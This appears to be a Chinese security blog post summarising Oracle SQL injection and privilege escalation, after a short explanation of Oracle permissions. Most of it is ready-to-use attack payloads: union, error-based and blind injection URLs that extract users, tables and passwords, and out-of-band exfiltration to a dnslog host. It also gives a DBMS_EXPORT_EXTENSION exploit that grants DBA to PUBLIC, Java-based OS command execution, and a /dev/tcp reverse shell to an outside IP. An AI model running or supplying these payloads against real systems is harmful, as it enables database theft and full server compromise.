草庐IT

数据库注入提权总结(四)

蚁景科技 2023-03-28 原文

Oracle

Oracle权限分类

权限是用户对一项功能的执行权力。在Oracle中,根据系统的管理方式不同,将 Oracle 权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体 (schema) 所拥有的权限。

系统权限管理

系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。

  • DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构

  • RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构

  • CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构

对于普通用户:授予connect,resource权限

对于DBA用户:授予connect,resource,dba权限

-- 系统权限授予命令:
系统权限只能由DBA用户授出,也就是sys,system(这两个用户是最开始的两个DBA用户)
授权命令:grant connect, resource, dba to username1 , username2...;
普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收
回收授权命令:revoke connect, resource, dba from system;

-- 查询用户拥有那些权限:
select * from dba_role_privs;
select * from dba_sys_privs;
select * from role_sys_privs;

-- 查询自己拥有那些系统权限
select * from session_privs;

-- 删除用户
drop user [username] cascade; -- 加上cascade则将用户连同其创建的东西全部删除

-- 系统权限传递
增加 WITH ADMIN OPTION 选项,则得到的权限可以传递。
grant connect, resorce to user50 with admin option;

-- 系统权限回收,只能由DBA用户回收
revoke connect, resource, dba from system;

-- 说明
1. 如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
2. 系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。

实体权限管理

实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

  • select, update, insert, alter, index, delete, all //all 包括所有权限

  • execute // 执行存储过程权限

-- 授权用户表操作
grant select, update, insert on product to user02;
grant all on product to user02;
上述两条命令是 除drop之外所有对 product表的操作授予 user02 用户

-- 授予全部用户表的操作权限
grant all on product to public; # all不包括 drop 权限

-- 实体权限传递
grant select, update on product to user02 with grant option;
user02得到权限,并可以传递。

-- 实体权限的回收
Revoke select, update on product from user02;
传递的权限将全部消失

-- 说明
1. 如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。

角色管理

-- 建立一个角色
create role role1;

-- 为角色授权
grant create any table,create procedure to role1;

-- 授权角色给用户
grant role1 to user1;

-- 查看角色所包含的权限
select * from role_sys_privs;

-- 创建带有口令的角色(在生效带有口令的角色时必须提供口令)
create role role1 identified by password1;

-- 修改角色,设置是否需要口令
alter role role1 not identified;
alter role role1 identified by password1;

-- 设置当前用户要生效的角色
角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,只有角色生效了,角色内的权限才作用于用户,最大可生效角色数由参数MAX_ENABLED_ROLES设定;在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。
set role role1; # 使role1生效
set role role,role2; # 使role1,role2生效
set role role1 identified by password1; # 使用带有口令的role1生效
set role all; # 使用该用户的所有角色生效
set role none; # 设置所有角色失效
set role all except role1; # 除role1外的该用户的所有其它角色生效。
select * from SESSION_ROLES; # 查看当前用户的生效的角色。

-- 修改指定用户,设置其默认角色
alter user user1 default role role1;
alter user user1 default role all except role1;

-- 删除角色
drop role role1;
角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。

-- 说明
1. 无法使用WITH GRANT OPTION为角色授予对象权限
2. 可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联

PL/SQL语言

PL/SQL 也是一种程序语言,叫做过程化 SQL 语言(Procedual Language/SQL)。

PL/SQL 是 Oracle 数据库对 SQL 语句的扩展。在普通 SQL 语句的使用上增加了编程语言的特点,所以 PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中,通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在 PL/SQL 编程语言是由甲骨文公司在 20 世纪 80 年代,作为 SQL 程序扩展语言和 Oracle 关系数据库开发。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

基本结构如下:

DECLARE
   
BEGIN
   
EXCEPTION
   
END;

SQL 注入需注意的规则

  • Oracle 使用查询语言获取需要跟上表名,这一点和 Access 类似,没有表的情况下可以使用 dual 表,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条记录。

  • Oracle 的数据库类型是强匹配,所以在 Oracle 进行类似 Union 查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用 NULL 代替某些无法快速猜测出的数据类型位置,这一点和 SQL Server 类似。

  • Oracle 和 mysql 不一样,分页中没有 limit,而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0

  • Oracle 的单行注释符号是 --,多行注释符号 /**/

  • Oracle 数据库包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中 table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名。

  • Oracle 使用 || 拼接字符串(在 URL 中使用编码 %7c 表示),concat() 函数也可以实现两个字符串的拼接

联合查询注入

Payload空格有问题,可以放在vscode中查看

# 判断注入点
所有数据库方式都一样

# 判断列数
依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段,也就是确认查询字段数。
?id=1 order by 3 --+
?id=1 order by 4 --+

# 判断回显点
?id=-1 union select null,null,null from dual --+
?id=-1 union select 1,'2','3' from dual --+

# 获取数据库基本信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+

# 获取数据库名,即用户名
Oracle 没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。
1. 获取第一个用户名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
2. 获取第二个用户名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
     
3. 获取当前用户名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+

# 获取表名
1. 获取Test用户第一张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
2. 获取Test用户第二张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+

# 获取字段名
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+

# 获取数据
?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+

报错注入

在 oracle 注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL 仅使用函数报错即可),类似 mssql 报错注入的方式。

utl_inaddr.get_host_name ()

utl_inaddr.get_host_address 本意是获取 ip 地址,但是如果传递参数无法得到解析就会返回一个 oracle 错误并显示传递的参数。

我们传递的是一个 sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。

# 获取用户名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+

# 获取表名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+

# 获取字段名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+

# 获取数据
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

ctxsys.drithsx.sn ()

# 获取用户名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+

# 获取表名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+

# 获取字段名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+

# 获取数据
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

dbms_xdb_version.checkin ()

# 获取用户名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.makeversioned ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.uncheckout ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_utility.sqlid_to_sqlhash ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

ordsys.ord_dicom.getmappingxpath ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

XMLType ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+

布尔型盲注

decode()

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值 1 时,该函数返回值 2,否则返回值3,当然值 1,值 2,值 3 也可以是表达式,这个函数使得某些 sql 语句简单了许多

# 判断是否是TEST用户
?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+

# 猜解当前用户
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+

# 猜解表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+

# 猜解字段名
?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+

# 猜解数据
?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+

instr ()

instr 函数的使用,从一个字符串中查找指定子串的位置

select instr('123456789','12') position from dual;

可以使用该函数按位爆破,该函数返回是从1开始

?id=1 and (instr((select user from dual),'S'))=1 --+
?id=1 and (instr((select user from dual),'SY'))=1 --+
?id=1 and (instr((select user from dual),'SYS'))=1 --+

substr()

这个就和mysql 基本一致

# 猜解数据长度
?id=1 and (select length(user) from dual)=3 --+

# ASCII按位爆破
?id=1 and (select ascii(substr(user,1,1))from dual)=65 --+

时间盲注

dbms_pipe.receive_message ()

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 (stacked query)。其次,只有数据库管理员才能使用 DBMS_LOCK 包。

在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。默认情况下,允许以 public 权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在 SQL 语句中的函数。

# 查看是否可以使用 dbms_pipe.receive_message () 函数进行延时注入
?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+

# 猜解当前用户
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

# 猜解表名
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

# 猜解字段
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

# 猜解数据
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

decode ()

原理:结合耗费时间的查询语句,不过在使用的过程中有很多不尽如人意的地方,有时候加载快有时加载慢。

?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --+

decode () 与 dbms_pipe.receive_message () 嵌套时间盲注

?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+

DNS外带注入

Oracle 注入之带外通信和 DNSLOG 注入非常相似,例如和 mysql 中 load_file () 函数实现无回显注入非常相似。

Oracle 发送 HTTP 和 DNS 请求,并将查询结果带到请求中,然后检测外网服务器的 HTTP 和 DNS 日志,从日志中获取查询结果,通过这种方式将繁琐的盲注转换成可以直接获取查询结果的方式。

使用第三方平台,监听访问请求,并记录请求的日志信息,然后使用 utl_http.request() 向外网主机发送 http 请求,请求便携带了查询的结果信息。此处可以结合 SSRF 进行内网探测。或许这就是 Oracle 的 SSRF。

利用 utl.inaddr.get_host_address(),将查询结果拼接到域名下,并使用 DNS 记录解析日志,通过这种方式获取查询结果。

# 检测是否支持 utl_http.request
?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+

# 获取用户名
?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

# 获取表名
?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

# 获取列名
?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

# 获取数据
?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

利用漏洞提权命令执行

dbms_export_extension()

  • 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

  • 权限:None

  • 详情:这个软件包有许多易受 PL/SQL 注入攻击的函数。这些函数由 SYS 拥有,作为 SYS 执行并且可由 PUBLIC 执行。因此,如果 SQL 注入处于上述任何未修补的 Oracle 数据库版本中,那么攻击者可以调用该函数并直接执行 SYS 查询。

提升权限

该请求将导致查询 "GRANT DBA TO PUBLIC" 以 SYS 身份执行。因为这个函数允许 PL / SQL 缺陷(PL / SQL 注入)。一旦这个请求成功执行,PUBLIC 获取 DBA 角色,从而提升当前 user 的特权

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual

使用Java执行

# 创建java库
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

# 赋予Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual

# 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual

# 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

# 执行系统命令
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

dbms_xmlquery.newcontext()

  • 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

  • 必须在 DBMS_PORT_EXTENSION 存在漏洞情况下,否则赋予权限时无法成功

# 创建java库
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

# 赋予当前用户Java权限
select user from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

# 查看 all_objects 内部改变
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

# 创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

# 判断是否创建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

# 执行命令
select LinxRunCMD('id') from dual

# 删除函数
drop function LinxRunCMD

dbms_java_test.funcall()

  • 影响版本:10g R2, 11g R1, 11g R2

  • 权限:Java Permissions

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;
执行会有一定报错,但是不影响命令执行

Java反弹shell

# linux系统payload
import java.io.*;
import java.net.*;
public class shellRev
{
       public static void main(String[] args)
      {
               System.out.println(1);
               try{run();}
               catch(Exception e){}
      }
public static void run() throws Exception
      {
               String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
               Process p=Runtime.getRuntime().exec(aaa);
  }
}

#编译
javac shellRev.java
#执行
java shellRev
# 创建 Java 库
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual

# 赋予Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

# 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

# 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual

# 反弹shell
select sys.reversetcp from dual

 更多靶场实验练习、网安学习资料,请点击这里>>

有关数据库注入提权总结(四)的更多相关文章

  1. ruby - 解析 RDFa、微数据等的最佳方式是什么,使用统一的模式/词汇(例如 schema.org)存储和显示信息 - 2

    我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i

  2. ruby - Ruby 有 `Pair` 数据类型吗? - 2

    有时我需要处理键/值数据。我不喜欢使用数组,因为它们在大小上没有限制(很容易不小心添加超过2个项目,而且您最终需要稍后验证大小)。此外,0和1的索引变成了魔数(MagicNumber),并且在传达含义方面做得很差(“当我说0时,我的意思是head...”)。散列也不合适,因为可能会不小心添加额外的条目。我写了下面的类来解决这个问题:classPairattr_accessor:head,:taildefinitialize(h,t)@head,@tail=h,tendend它工作得很好并且解决了问题,但我很想知道:Ruby标准库是否已经带有这样一个类? 最佳

  3. ruby - 我如何添加二进制数据来遏制 POST - 2

    我正在尝试使用Curbgem执行以下POST以解析云curl-XPOST\-H"X-Parse-Application-Id:PARSE_APP_ID"\-H"X-Parse-REST-API-Key:PARSE_API_KEY"\-H"Content-Type:image/jpeg"\--data-binary'@myPicture.jpg'\https://api.parse.com/1/files/pic.jpg用这个:curl=Curl::Easy.new("https://api.parse.com/1/files/lion.jpg")curl.multipart_form_

  4. 世界前沿3D开发引擎HOOPS全面讲解——集3D数据读取、3D图形渲染、3D数据发布于一体的全新3D应用开发工具 - 2

    无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD

  5. FOHEART H1数据手套驱动Optitrack光学动捕双手运动(Unity3D) - 2

